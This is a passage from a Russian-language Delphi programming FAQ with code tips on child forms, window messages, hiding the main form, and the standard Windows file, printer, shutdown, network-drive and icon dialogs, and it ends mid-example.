  if FormStyle = fsNormal then
    if mnuBitMap.Checked then
      mnuBitMapClick(Sender)
    else
      mnuGradientClick(Sender);
end;

end.

К заголовку




" Форма является дочерней для панели
{
Copyright © 1998 by Delphi 4 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit NewChildFrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ChildFrm, ExtCtrls;

type
  TNewChildForm = class(TChildForm)
    Image1: TImage;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  NewChildForm: TNewChildForm;

implementation

{$R *.DFM}

end.

{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit ChildFrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls, ExtCtrls, Menus;

type

  TChildForm = class(TForm)
  private
    FAsChild: Boolean;
    FTempParent: TWinControl;
  protected
    procedure CreateParams(var Params: TCreateParams); override;
    procedure Loaded; override;
  public
    constructor Create(AOwner: TComponent); overload; override;
    constructor Create(AOwner: TComponent; AParent: TWinControl); reintroduce;
      overload;

    // The method below must be overridden to return either the main menu
    // of the form, or nil.
    function GetFormMenu: TMainMenu; virtual; abstract;
    function CanChange: Boolean; virtual;
  end;

var
  ChildForm: TChildForm;

implementation

{$R *.DFM}

constructor TChildForm.Create(AOwner: TComponent);
begin
  FAsChild := False;
  inherited Create(AOwner);
end;

constructor TChildForm.Create(AOwner: TComponent; AParent: TWinControl);
begin
  FAsChild := True;
  FTempParent := aParent;
  inherited Create(AOwner);
end;

procedure TChildForm.Loaded;
begin
  inherited;
  if FAsChild then
  begin
    align := alClient;
    BorderStyle := bsNone;
    BorderIcons := [];
    Parent := FTempParent;
    Position := poDefault;
  end;
end;

procedure TChildForm.CreateParams(var Params: TCreateParams);
begin
  inherited CreateParams(Params);
  if FAsChild then
    Params.Style := Params.Style or WS_CHILD;
end;

function TChildForm.CanChange: Boolean;
begin
  Result := True;
end;

end.

{
Copyright © 1999 by Delphi 5 Developer's Guide - Xavier Pacheco and Steve Teixeira
}

unit MainFrm;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls, NewChildFrm;

type
  TMainForm = class(TForm)
    pnlMain: TPanel;
    Splitter1: TSplitter;
    pnlParent: TPanel;
    btnNormal: TButton;
    btnChild: TButton;
    btnFree: TButton;
    procedure btnNormalClick(Sender: TObject);
    procedure btnChildClick(Sender: TObject);
    procedure btnFreeClick(Sender: TObject);
  private
    FNewChildForm: TNewChildForm;
  public
    { Public declarations }
  end;

var
  MainForm: TMainForm;

implementation

{$R *.DFM}

procedure TMainForm.btnNormalClick(Sender: TObject);
var
  LocalChildForm: TNewChildForm;
begin
  LocalChildForm := TNewChildForm.Create(Application);
  try
    LocalChildForm.ShowModal;
  finally
    LocalChildForm.Free;
  end;
end;

procedure TMainForm.btnChildClick(Sender: TObject);
begin
  if not Assigned(FNewChildForm) then
  begin
    FNewChildForm := TNewChildForm.Create(Application, pnlParent);
    FNewChildform.Show;
    pnlParent.Height := pnlParent.Height - 1;
  end;
end;

procedure TMainForm.btnFreeClick(Sender: TObject);
begin
  if Assigned(FNewChildForm) then
  begin
    FNewChildForm.Free;
    FNewChildform := nil;
  end;
end;

end.
К заголовку




" Как послать самостийное сообщение всем главным окнам в Windows
var
  FM_FINDPHOTO: Integer;

  // Для того, чтобы использовать hwnd_Broadcast нужно
  // сперва зарегистрировать уникальное сообщение.

initialization
  FM_FindPhoto := RegisterWindowMessage('MyMessageToAll');

  // Чтобы поймать это сообщение в другом приложении
  // (приемнике) нужно перекрыть DefaultHandler

procedure TForm1.DefaultHandler(var Message);
begin
  with TMessage(Message) do
  begin
    if Msg = Fm_FindPhoto then
      MyHandler(WPARAM, LPARAM)
    else
      inherited DefaultHandler(Message);
  end;
end;

// А теперь можно в приложении-передатчике
SendMessage(HWND_BROADCAST, FM_FINDPHOTO, 0, 0);


Кстати, для посылки сообщения дочерним контролам некоего контрола можно использовать метод Broadcast.
К заголовку




" Как сделать главную форму полностью невидимой
Я пытаюсь создать приложение, помещающее во время запуска иконку в системную область панели задач c надлежащим контекстным меню.
 Тем не менее приложение все еще остается видимым в панели задач. Использование Application.ShowMainForm:=False оказывается
недостаточным.

Я тоже столкнулся с этой проблемой, но, к счастью, нашел ответ. Вот маленький код, который классно справляется с проблемой.

procedure TMainForm.FormCreate(Sender: TObject);
begin
  Application.OnMinimize:=AppMinimize;
  Application.OnRestore:=AppMinimize;
  Application.Minimize;
  AppMinimize(@Self);
end;

procedure TMainForm.AppMinimize(Sender: TObject);
begin
  ShowWindow(Application.Handle, SW_HIDE);
end;


К заголовку




" Показ окна без главной формы
Как мне сделать так, чтобы видимой была только выбранная форма? (то есть без главной формы)

Попробуйте этот код в любом вторичном окне, которое вы НЕ хотите сопровождать главным окном:

...
private {Это включается в объявления формы.}
  { Private declarations }
  procedure CreateParams(VAR Params: TCreateParams); override;
...

procedure TForm2.CreateParams(VAR Params: TCreateParams);
begin
  Inherited CreateParams(Params);
  Params.WndParent := GetDesktopWindow;
end;


Присваивая дескриптор окна родительской формы Рабочему столу, вы удаляете ту связь, которая, в нормальной ситуации, при выводе
окна на самый верхний уровень, заставляет переместиться туда также целиком все приложение.
К заголовку




" Условие создания главной формы
Существует ли в Delphi возможность создавать главную форму по условию? Я хочу использовать условие IF (в зависимости от
передаваемого параметра) для того, чтобы определить какая форма будет главной при старте приложения. Фактически "другую"
форму НЕ нужно будет загружать.

Хитрость здесь заключается в том, что мы предоставляем компилятору весь необходимый для создания форм код, но не допускаем
его выполнения (IF FALSE THEN), при этом компилятор не ругается, а мы тем временем (во время выполнения приложения)
выбираем и создаем главную форму. Вот пример кода, измененный .DPR-файл, который при старте случайным образом выбирает
из друх форм главную:

begin
  if FALSE then
  begin
    Application.CreateForm(TForm1, Form1);
    Application.CreateForm(TForm2, Form2);
  end;
  Randomize;
  if Random < 0.5 then
    Application.CreateForm(TForm1, Form1)
  else
    Application.CreateForm(TForm2, Form2);
  Application.Run;
end.


Пара "подходящих" для CreateForm форм заключено в никогда не выполнимый блок, тем самым приводя компилятор в состояние
свинячего восторга.
К заголовку




" MessageDlg без Gliph
Как мне получить информационное окошко c 3D-стилем и простыми кнопками (без Glyph), не особо изголяясь в
программировании?

Просто добавьте следующую строчку в ваш код диалогового окошка:

MsgDlgGlyphs := false;


Лично я для дальнейшего использования создал целую коллекцию информационных окошек с моими собственными иконками.
Моя основная претензия к стандартному окошку - близкое расположение иконки к левому краю кнопки - заставляет его
выглядеть непрофессионально.
К заголовку




" MessageDlg в обработчике OnExit
Я пытаюсь использовать MessageDlg в обработчике OnExit компонента TEdit. При показе диалогового окна пользователь
нажимает одну из кнопок, после чего, по идее, должно возникнуть событие OnEnter компонента, но оно не возникает
Если вызов диалога сопровождается комментарием, событие OnEnter инициализируется верно. В любом случае, событие
OnExit завершает весь код.

Фактически (в момент показа диалога), фокус имеет поле редактирование, но курсор при этом не выводится. Передавая
фокус "вперед" и снова "назад", вы получите желаемый результат. Например: В обработчике события OnExit поля
редактирования после вызова MessageDlg попробуйте вызвать следующие функции:

PostMessage(Handle, WM_NEXTDLGCTL, 0, 0);
PostMessage(Handle, WM_NEXTDLGCTL, 1, 0);


К заголовку




" TFrame. Несколько фреймов одного типа на форме
Проблема в следующем: если положить на одну форму два фрейма одного типа, то в дизайне все нормально, а при создании
формы во время выполнения может произойти ошибка: Component named xxxx already exists. Причина - баг в коде загрузки
фрейма из DFM.

ТИПОВЫЕ РЕШЕНИЯ

Чтобы такое не возникало, фреймы одного типа, размещенные на форме, должны иметь имена, отличные от ТипФреймаНомер,
например, TMyFrame1 или TMyFrame5. Дайте фреймам другие имена, и форма будет создаваться нормально.

КОММЕНТАРИЙ

Описанный эффект возникает в случае, если один из нескольких экземпляров фрейма на форме имеет имя, соответствующее
его типу, при отбрасывании первой "T". Например:

Frame1: TFrame1; // причина проблемы
Frame2: TFrame1;
Frame3: TFrame1;


Но!

Во-первых, автоматический генератор кода в IDE (вероятно, зная об этой особенности - D5 SP1) дает имена вида:

Frame11 : TFrame1;
Frame12 : TFrame1;
Frame13 : TFrame1;
...
Frame21 : TFrame2;


Во-вторых, кому в здравом уме придет в голову заменять стандартные имена компонентов на свои, но тоже нумерованные?
Бывают, конечно, случаи, когда номер имеет некий смысл в прикладном контексте, но уж очень редко. При этом еще нужно,
чтобы это обстоятельство совпало с тем, что смысловая часть имени типа фрейма равна таковой для экземпляра.

Вывод: имейте хорошую привычку сразу давать осмысленные имена экземплярам компонентов, фреймов, форм, и вы никогда не
нарветесь на подобные подводные камни.
К заголовку




" TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog
Стандарные диалоговые окошки

Практически любое приложение Windows использует стандартные диалоги, встроенные в операционную систему, для открытия и
сохранения файлов, поиска текста, печати, выбора шрифта или установки цвета.

В этой статье мы рассмотрим основные свойства и методы этих диалогов и, особенно, сфокусируем внимание на диалогах
Open и Save.

Стандартные диалоговые окошки можно найти на панели компонентов в закладке Dialogs. Для того, чтобы начать
использовать определённое диалоговое окошко, его достаточно поместить на форму. Компоненты стандартных диалогов
являются невидимыми, поэтому Вы не сможете изменить дизайн такого диалога во время разработки приложения.

TOpenDialog и TSaveDialog

Диалоговые окошки File Open и File Save имеют несколько общих свойств. File Open в основном используется для выбора
и открытия файлов, в то время как диалог File Save (так же используется как диалоговое окошко Save As) используется
для получения от пользователя имени файла, чтобы сохранить файл. Далее мы рассмотрим некоторые важные свойства
TOpenDialog и TSaveDialog:

Свойство Options предназначено для задания конечного вида окна. Например, при помощи следующего кода:

with OpenDialog1 do
  Options := Options + [ofAllowMultiSelect, ofFileMustExist];


мы позволим пользователю выбирать несколько файлов, а так же заставим генерироваться сообщение об ошибке, если
пользователь выберет несуществующий файл.

Свойство InitialDir используется для указания директории, которая будет показана при создании диалога. Следующий
код установит начальную директорию, из которой было запущено приложение:

SaveDialog1.InitialDir := ExtractFilePath(Application.ExeName);


Свойство Filter содержит список типов файлов, которые сможет выбирать пользователь. Когда пользователь выберет тип
файлов, то в диалоговом окне будут отображаться только файлы данного расширения. Фильтр можно легко установить на
стадии создания приложения при помощи диалога редактора фильтра (Filter Editor):

Так же фильтр можно задать программно. Строка фильтра должна содержать описание и расширение для данного типа
файлов, разделённые вертикальной чертой:

OpenDialog1.Filter := 'Text files (*.txt)|*.txt|All files (*.*)|*.*';


Свойство FileName. Когда пользователь нажмёт на диалоге кнопку OK, то это свойство будет содержать полный путь
и имя выбранного файла.

Вызов диалогового окошка

Для создания и отображения стандартного диалога необходимо выполнить метод Execute для нужного диалога. За
исключением диалогов TFindDialog и TReplaceDialog, все остальные диалоги отображаются модально.

Все стандартные диалоговые окошки позволяют определить нажал ли пользователь кнопку "Отмена" (Cancel) (или нажал ESC).
Если метод Execute вернул True значит пользователь нажал OK или сделал двойной щелчёк по файлу либо нажал Enter на
клавиатуре, иначе, если была нажата кнопка Cancel, клавиша Esc или Alt-F4, будет возвращено значение False.

if OpenDialog1.Execute then
  ShowMessage(OpenDialog1.FileName);


Этот код показывает диалог File Open и, если пользователь нажал "Открыть" (Open), то будет показано имя выбранного
файла.

Использование только кода

Чтобы работать диалогом Open (или любым другим) не помещая при этом на форму компонент OpenDialog, можно
воспользоваться следующим кодом:

procedure TForm1.btnFromCodeClick(Sender: TObject);
var
  OpenDlg: TOpenDialog;
begin
  OpenDlg := TOpenDialog.Create(Self);
  {здесь устанавливаем опции...}
  if OpenDlg.Execute then
  begin
    {здесь что-нибудь делаем}
  end;
  OpenDlg.Free;
end;


Обратите внимание, что перед вызовом Execute, можно установить различные свойства компонента OpenDialog.

TOpenPictureDialog и TSavePictureDialog

Эти два диалога есть ничто иное как обычные File Open и File Save с дополнительной возможностью предварительного
просмотра выбранной картинки.

Мой Блокнот

А теперь предлагаю применить теорию на практике. Создадим простейший блокнот, и посмотрим как работают диалоговые
окошки Open и Save:

Для создания блокнота проделаем следующее:

   1. Запустите Delphi и выберите в меню File-New Application.
   2. Поместите на форму Memo, OpenDialog, SaveDialog и две кнопки.
   3. Переименуйте Button1 в btnOpen, а Button2 в btnSave.

Код

1. Поместите в событие формы FormCreate следующий код:

procedure TForm1.FormCreate(Sender: TObject);
begin
  with OpenDialog1 do
  begin
    Options := Options + [ofPathMustExist, ofFileMustExist];
    InitialDir := ExtractFilePath(Application.ExeName);
    Filter := 'Text files (*.txt)|*.txt';
  end;
  with SaveDialog1 do
  begin
    InitialDir := ExtractFilePath(Application.ExeName);
    Filter := 'Text files (*.txt)|*.txt';
  end;
  Memo1.ScrollBars := ssBoth;
end;


Этот код устанавливает некоторые свойства диалога Open как было описано в начале статьи.

2. Добавьте следующий код в событие Onclick для кнопок btnOpen и btnSave:

procedure TForm1.btnOpenClick(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    Form1.Caption := OpenDialog1.FileName;
    Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
    Memo1.SelStart := 0;
  end;
end;



procedure TForm1.btnSaveClick(Sender: TObject);
begin
  SaveDialog1.FileName := Form1.Caption;
  if SaveDialog1.Execute then
  begin
    Memo1.Lines.SaveToFile(SaveDialog1.FileName + '.txt');
    Form1.Caption := SaveDialog1.FileName;
  end;
end;


Теперь можно смело запускать проект
К заголовку




" Z-порядок при каждом показе диалога
// Там не листбокс, а EDIT, но суть точно та же. Чтобы получить текст, а не
// записать его, надо просто использовать Get вместо Set. Судя по тому, что
// программа уже 2 года работает без малейших проблем, Z-порядок при  каждом
// показе диалога один и тот же.

program Project1;

uses
 Windows, Messages;

const
 Title1 = 'Установка связи';
 Title2 = 'Удаленное соединение';
 Login = '...';
 Password = '...';

var
 Wnd: HWND;
 Control: array [0..127] of char;

procedure TypeTextIntoNextEdit(AText:string);
begin
 repeat // Ищем следующее в Z-порядке окно класса EDIT
   Wnd := GetWindow(Wnd, GW_HWNDNEXT);
   GetClassName(Wnd, Control, SizeOf(Control))
 until Control = 'Edit';
 SendMessage(Wnd, WM_SETTEXT, 0, Integer(PChar(AText))) // Вводим текст
end;

begin
 Wnd := FindWindow(nil, Title1);  // Это окно самого диалога
 if Wnd = 0 then                  // Если не найдено, ищем другой диалог
 begin
   Wnd := FindWindow(nil, Title2);
   if Wnd = 0 then Exit;
 end;
 Wnd := GetWindow(Wnd, GW_CHILD); // Это верхний комбобокс
 TypeTextIntoNextEdit(Login);     // Вводим логин
 TypeTextIntoNextEdit(Password)   // Вводим пароль
end.


К заголовку




" Автоматически закрыть TCommonDialog
{
  It is possible to close a common dialog shown by TCommonDialog.Execute
  (or its overriddens) method while it is visible and application handles messages.
  The solution is:

  Es ist moglich einen TCommonDialog der mit TCommonDialog.Execute geoffnet wurde,
  automatisch zu schliessen wahrend er sichtbar ist. Die Losung ist:
}


 SendMessage(GetParent(OpenDialog1.Handle), WM_SYSCOMMAND, SC_CLOSE, 0);
К заголовку




" Автосмена расширения файла в строке ввода OpenDialog при смене типа файла
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Автосмена расширения файла в строке ввода OpenDialog при смене типа файла

Кусок из моей программы, в котором автоматически изменяется расширение файла в
строке редактирования имени файла в OpenDialog (у меня - в его наследнике), если
пользователь изменяет тип файла. Функция CustomOnTypeChange должна быть поставлена
как обработчик события OnTypeChange.

Зависимости: Windows, SysUtils, Forms, Dialogs
Автор:       Павел Озерский, pavel@insect.mail.iephb.ru, Санкт-Петербург
Copyright:   Cобственное написание (Павел Озерский), небольшая коррекция - Игорь Плотников
Дата:        18 апреля 2002 г.
***************************************************** }

type
  tHookParam = packed record
    case integer of
      0: (l: longint);
      1: (
        iDX: byte;
        isOpen: byteBool;
        xtLen: word);
  end;
const
  DX: array[1..5] of string[3] = ('bmp', 'tif', 'jpg', '', '');

function dHook(h: tHandle; param: longint): longbool; stdcall;
var
  ss: shortstring;
  ls: ansistring;
  hp: tHookParam absolute param;
begin
  byte(ss[0]) := GetClassName(h, @ss[1], 255);
  if ss = 'Edit' then
  begin
    if hp.isOpen then
      ls := ''
    else
    begin
      byte(ss[0]) := GetWindowText(h, @ss[1], 255);
      ls := ChangeFileExt(ss, '.' + DX[hp.iDX]);
    end;
    SetWindowText(h, pchar(ls));
    result := false;
  end
  else
    Result := true;
end;
{$O-}

procedure TMultiFormatOpenPictureDialog.CustomOnTypeChange(Sender: tObject);
var
  ext: string;
  SaveStyle: boolean;
  hp: tHookParam;
begin
  hp.isOpen := not (Sender is tSaveDialog);
  hp.iDX := tOpenDialog(Sender).FilterIndex;
  tOpenDialog(Sender).DefaultExt := DX[hp.iDX];
  ext := extractFileExt(tOpenDialog(Sender).filename);
  hp.xtLen := length(ext);
  if (ext <> '') and (DX[tOpenDialog(Sender).FilterIndex] <> '') then
    if ext[1] = '.' then
    begin
      SaveStyle := NewStyleControls;
      NewStyleControls := false;

      tOpenDialog(Sender).filename := copy(tOpenDialog(Sender).filename, 1,
        length(tOpenDialog(Sender).filename) - length(ext)) + '.' +
        tOpenDialog(Sender).DefaultExt;
      EnumChildWindows(GetParent(tOpenDialog(Sender).handle), @dHook, hp.l);
      NewStyleControls := SaveStyle;
    end;
end;
{$O+}
К заголовку




" Альтернатива для TOpenDialog и TSaveDialog
{
  Today I want to display how you may use the simple functions as
  alternative for TOpenDialog/TSaveDialog components.

  Problem is that Borland incorrectly wrote those components and when
  Microsoft add some new extended features in own dialogs,
  standard TOpenDialog and TSaveDialog still use old style.
  For example, when Microsoft added placebar in own dialogs,
  VCL's dialog still use old style without placebars.

  Personally I prefer to use applications that support all
  features of installed OS.

  This is a reason why I wrote the function as wrapper for Windows
  API call for dialogs and now I use this function instead components.
  It allow not only to use all new features from Windows,
  but also reduce a size for exe-file and allow to use same function for
  both TOpenDialog and TSaveDialog functionality.

  For example:
  1. to display the "OpenDialog" for text files
    s := 'aaa.txt';
    if OpenSaveFileDialog(Application.Handle, 'txt', 'Text Files|*.txt', 'c:\',
    'Select text file', s, True) then
      ShowMessage(s + ' file was selected for open')

  2. to display the "Save dialog":
    s := 'data.dbf';
    if OpenSaveFileDialog(Application.Handle, 'dbf', 'dBase tables|*.dbf|All files|*.*',
    'c:\', 'Select table', s, False) then
      ShowMessage(s + ' table was selected for save')

  See full code below. Hope you'll find this code useful.
}

 uses Windows;

 function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir,
   Title: string; var FileName: string; IsOpenDialog: Boolean): Boolean;

 implementation
 uses ShlObj, SysUtils;

 type
   POpenFilenameA = ^TOpenFilenameA;
   POpenFilename = POpenFilenameA;
   tagOFNA = packed record
     lStructSize: DWORD;
     hWndOwner: HWND;
     hInstance: HINST;
     lpstrFilter: PAnsiChar;
     lpstrCustomFilter: PAnsiChar;
     nMaxCustFilter: DWORD;
     nFilterIndex: DWORD;
     lpstrFile: PAnsiChar;
     nMaxFile: DWORD;
     lpstrFileTitle: PAnsiChar;
     nMaxFileTitle: DWORD;
     lpstrInitialDir: PAnsiChar;
     lpstrTitle: PAnsiChar;
     Flags: DWORD;
     nFileOffset: Word;
     nFileExtension: Word;
     lpstrDefExt: PAnsiChar;
     lCustData: LPARAM;
     lpfnHook: function(Wnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT stdcall;
     lpTemplateName: PAnsiChar;
   end;
   TOpenFilenameA = tagOFNA;
   TOpenFilename = TOpenFilenameA;

 function GetOpenFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll'  name 'GetOpenFileNameA';
 function GetSaveFileName(var OpenFile: TOpenFilename): Bool; stdcall; external 'comdlg32.dll'  name 'GetSaveFileNameA';

 const
   OFN_DONTADDTORECENT = $02000000;
   OFN_FILEMUSTEXIST = $00001000;
   OFN_HIDEREADONLY = $00000004;
   OFN_PATHMUSTEXIST = $00000800;

 function CharReplace(const Source: string; oldChar, newChar: Char): string;
 var
   i: Integer;
 begin
   Result := Source;
   for i := 1 to Length(Result) do
     if Result[i] = oldChar then
       Result[i] := newChar
 end;

 function OpenSaveFileDialog(ParentHandle: THandle; const DefExt, Filter, InitialDir, Title: string; var FileName:
string; IsOpenDialog: Boolean): Boolean;
 var
   ofn: TOpenFileName;
   szFile: array[0..MAX_PATH] of Char;
 begin
   Result := False;
   FillChar(ofn, SizeOf(TOpenFileName), 0);
   with ofn do
   begin
     lStructSize := SizeOf(TOpenFileName);
     hwndOwner := ParentHandle;
     lpstrFile := szFile;
     nMaxFile := SizeOf(szFile);
     if (Title <> '') then
       lpstrTitle := PChar(Title);
     if (InitialDir <> '') then
       lpstrInitialDir := PChar(InitialDir);
     StrPCopy(lpstrFile, FileName);
     lpstrFilter := PChar(CharReplace(Filter, '|', #0)+#0#0);
   if DefExt <> '' then
       lpstrDefExt := PChar(DefExt);
   end;
   if IsOpenDialog then
   begin
     if GetOpenFileName(ofn) then
     begin
       Result := True;
       FileName := StrPas(szFile);
     end;
   end
   else
   begin
     if GetSaveFileName(ofn) then
     begin
       Result := True;
       FileName := StrPas(szFile);
     end;
   end
 end;
К заголовку




" Вывести диалог завершения работы Windows
{
To programmatically shut down Windows, you can use the ShutdownWindows method.
Running the code
}


 uses ComObj;

 {....}

 procedure TForm1.Button1Click(Sender: TObject);
 var
   shell: Variant;
 begin
   shell := CreateOleObject('Shell.Application');
   shell.ShutdownWindows;
 end;


 { has the same result as clicking Shut Down in the Start menu. }
К заголовку




" Вывести диалог свойств принтера
{
  If you need to create your own printer dialog, you can use the PrinterProperties
  API function to bring up a printer's properties dialog.
}

 uses
   WinSpool, Printers;

 procedure TForm1.Button1Click(Sender: TObject);
 const
   {
   The TPrinterDefaults structure specifies the default data type,
   environment, initialization data, and access rights for a printer.
  }
   Defaults: TPrinterDefaults = (pDatatype: nil;
     pDevMode: nil;
     DesiredAccess: STANDARD_RIGHTS_REQUIRED or PRINTER_ACCESS_USE);
 var
   hPrinter: THandle;
   Device: array[0..255] of char;
   Driver: array[0..255] of char;
   Port: array[0..255] of char;
   hDeviceMode: THandle;
   RetVal: Boolean;
 begin
   Printer.PrinterIndex := Combobox1.ItemIndex;
   { Retrieve information about the specified printer }
   Printer.GetPrinter(Device,
     Driver,
     Port,
     hDeviceMode);
   { Retrieve a handle identifying the specified printer or print }
   if not OpenPrinter(@Device, hPrinter, @Defaults) then
     RaiseLastWin32Error;
   try
     { Display a printer-properties property sheet for the specified printer }
     PrinterProperties(Handle, hPrinter);
   finally
     { Close the specified printer object }
     ClosePrinter(hPrinter);
   end;
 end;

 procedure TForm1.FormCreate(Sender: TObject);
 begin
   { Show available printers in a Combobox }
   Combobox1.Items := Printer.Printers;
   Combobox1.ItemIndex := 0;
 end;
К заголовку




" Вывод пояснения о текущей операции
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вывод пояснения о текущей операции.

При вызове этой функции на экране появляется табличка с указанной
в параметре msg надписью. В параметрах TxColor, BgColor и BvColor
определяются цвета текста, заливки и рамки, соответственно.
Возвращает функция ссылку на объект типа TForm, который необходимо
освободить, когда табличка уже не нужна.

Вероятная проблема: Если у Вас слишком много текста в табличке,
она может не уместиться на экране и вылезет краями за его предел.

Зависимости: Forms, StdCtrls, ExtCtrls, Controls, Graphics, Classes;
Автор:       Роман Василенко, romix@nm.ru, Пятигорск
Copyright:   Роман Василенко
Дата:        23 сентября 2002 г.
***************************************************** }

//ИМХО, нечего комментировать здесь.

function ShowWaitMsg(msg: string; TxColor, BgColor, BvColor: tcolor): tform;
var
  frm: tform;
  lb: tlabel;
  sh: tshape;
begin
  frm := tform.CreateNew(Application);
  with frm do
  begin
    BorderIcons := [];
    borderstyle := bsNone;
    position := poScreenCenter;
    sh := tshape.create(frm);
    sh.parent := frm;
    sh.Align := alClient;
    sh.brush.color := BgColor;
    sh.pen.color := BvColor;
    sh.pen.style := pssolid;
    sh.Pen.Width := 2;
    lb := tlabel.Create(frm);
    lb.parent := frm;
    lb.Left := 10;
    lb.top := 5;
    lb.Caption := msg;
    lb.Font.Size := 14;
    lb.Font.Style := [fsbold];
    lb.Alignment := taCenter;
    lb.AutoSize := true;
    lb.Transparent := true;
    lb.WordWrap := true;
    clientwidth := lb.Canvas.TextWidth(msg) + 20;
    clientheight := lb.Canvas.TextHeight(msg) + 10;
    lb.Font.color := TxColor;
    show;
  end;
  application.processmessages;
  result := frm;
end;

Пример использования:

// Например, заводим переменную:
var
  f: tform;

// Для появления таблички, делаем:
f := ShowWaitMsg('Привет! Это программа Васи Пупкина!',
  clWhite, ClNavy, clBlack);

// Для того, чтобы потом избавиться от нее:
f.free;
К заголовку




" Вызвать диалог завершения работы с Windows
procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMessage(FindWindow('Progman', 'Program Manager'), WM_CLOSE, 0, 0);
end;
К заголовку




" Вызов диалога отключения сетевого диска
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Открытие диалогового окна «Отключение сетевого диска»

Зависимости: Windows
Автор:       Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright:   Dimka Maslov
Дата:        21 мая 2002 г.
***************************************************** }

function DisconnectNetworkDrive(Wnd: HWND = 0): DWORD;
begin
  if Wnd = 0 then
    Wnd := FindWindow('Shell_TrayWnd', '');
  Result := WNetDisconnectDialog(Wnd, RESOURCETYPE_DISK);
end;

// Пример использования:
DisconnectNetworkDrive(Application.Handle);
------------------------------------------------------

Попробуйте WNetConnectionDialog. Данная функция инкапсулирована в Windows.pas и специально предназначена для этого.

function MapNetworkDrive(Wnd: HWND = 0): DWORD;
begin
  if Wnd = 0 then
    Wnd := FindWindow('Shell_TrayWnd', '');
  Result := WNetConnectionDialog(Wnd, RESOURCETYPE_DISK);
end;

// Пример использования:
MapNetworkDrive(Application.Handle);
К заголовку




" Вызов стандартного системного окна О программе
uses ShellAPI;

procedure ShowAbout;
begin
  ShellAbout(Form1.Handle, 'Напиши здесь название программы',
  'Заяви здесь о своих авторских правах на программу' + #13#10 +
  'можно в две строки', Application.Icon.Handle);
end;
К заголовку




" Вызывает диалог выбора иконки
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вызывает диалог выбора иконки (как при смене значка на десктопе)

Зависимости: uses activex;
Автор:       Babay_S
Copyright:   Мои раскопки
Дата:        27 сентября 2002 г.
***************************************************** }

uses activex;

function ChangeIconDialog(hOwner: LongInt; Filename: string; var IconIndex:
  LongInt): LongInt;
{Вызывает диалог выбора иконки (как при смене значка на десктопе)
Параметры
hOwner - хэндл родителя.
FileName - полный путь файла с иконками (должен существовать).
Если в указанном файле нет иконок, вызываются иконки Shell32.dll.
IconIndex возвращает номер иконки в файле.
Результат выполнения функции возвращает 1 если иконка выбрана и 0 если отмена
Далее эту иконку можно вытащить с помощью вполне документированной функции
ExtractIconEx из той же библиотеки.
}

implementation

function SHChangeIconDialog(hOwner: LongInt; sFilename: LPWSTR; nBuf: LongInt;
  var nIconIndex: LongInt): LongInt;
  stdcall; external 'Shell32.dll' index 62;

function ChangeIconDialog(hOwner: LongInt; Filename: string; var IconIndex:
  LongInt): LongInt;
var
  nFileName: LPWSTR;
  FNLen: Integer;
  i: LongInt;
begin
  FNLen := Length(FileName) + 1;
  nFileName := CoTaskMemAlloc(FnLen * sizeof(WideChar));
  StringToWideChar(FileName, nFileName, FnLen);
  if FileName = '' then
    nFileName := nil;
  Result := SHChangeIconDialog(hOwner, nFileName, 0, IconIndex);
  CoTaskMemFree(nFileName);
end;

Доработанная функция

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Вызывает диалог выбора иконки. Доработанная

Функция вызова диалогового окно "Изменение иконки"

Зависимости: Windows, SysUtils
Автор:       Alex Sal'nikov, alex-co@narod.ru, Москва
Copyright:   Доработка библиотеки JVCL
Дата:        15 июля 2003 г.
***************************************************** }

uses
  Windows, SysUtils;

function ChangeIconDialog(hOwner: tHandle; var FileName: string; var IconIndex:
  Integer): Boolean;
// Функция вызова диалогового окно "Изменение иконки"

implementation

resourcestring
  SNotSupported = 'This function is not supported by your version of Windows';

function ChangeIconDialog(hOwner: tHandle; var FileName: string; var IconIndex:
  Integer): Boolean;
type
  SHChangeIconProc = function(Wnd: HWND; szFileName: PChar; Reserved: Integer;
    var lpIconIndex: Integer): DWORD; stdcall;
  SHChangeIconProcW = function(Wnd: HWND; szFileName: PWideChar;
    Reserved: Integer; var lpIconIndex: Integer): DWORD; stdcall;
const
  Shell32 = 'shell32.dll';
var
  ShellHandle: THandle;
  SHChangeIcon: SHChangeIconProc;
  SHChangeIconW: SHChangeIconProcW;
  Buf: array[0..MAX_PATH] of Char;
  BufW: array[0..MAX_PATH] of WideChar;
begin
  Result := False;
  SHChangeIcon := nil;
  SHChangeIconW := nil;
  ShellHandle := Windows.LoadLibrary(PChar(Shell32));
  try
    if ShellHandle <> 0 then
    begin
      if Win32Platform = VER_PLATFORM_WIN32_NT then
        SHChangeIconW := GetProcAddress(ShellHandle, PChar(62))
      else
        SHChangeIcon := GetProcAddress(ShellHandle, PChar(62));
    end;

    if Assigned(SHChangeIconW) then
    begin
      StringToWideChar(FileName, BufW, SizeOf(BufW));
      Result := SHChangeIconW(hOwner, BufW, SizeOf(BufW), IconIndex) = 1;
      if Result then
        FileName := BufW;
    end
    else if Assigned(SHChangeIcon) then
    begin
      StrPCopy(Buf, FileName);
      Result := SHChangeIcon(hOwner, Buf, SizeOf(Buf), IconIndex) = 1;
      if Result then
        FileName := Buf;
    end
    else
      raise Exception.Create(SNotSupported);
  finally
    if ShellHandle <> 0 then
      FreeLibrary(ShellHandle);
  end;
end;

Пример использования:

procedure TForm1.Button1Click(Sender: TObject);
var
  file: string;
  index: Integer;
begin
  ChangeIconDialog(Handle, file, index);
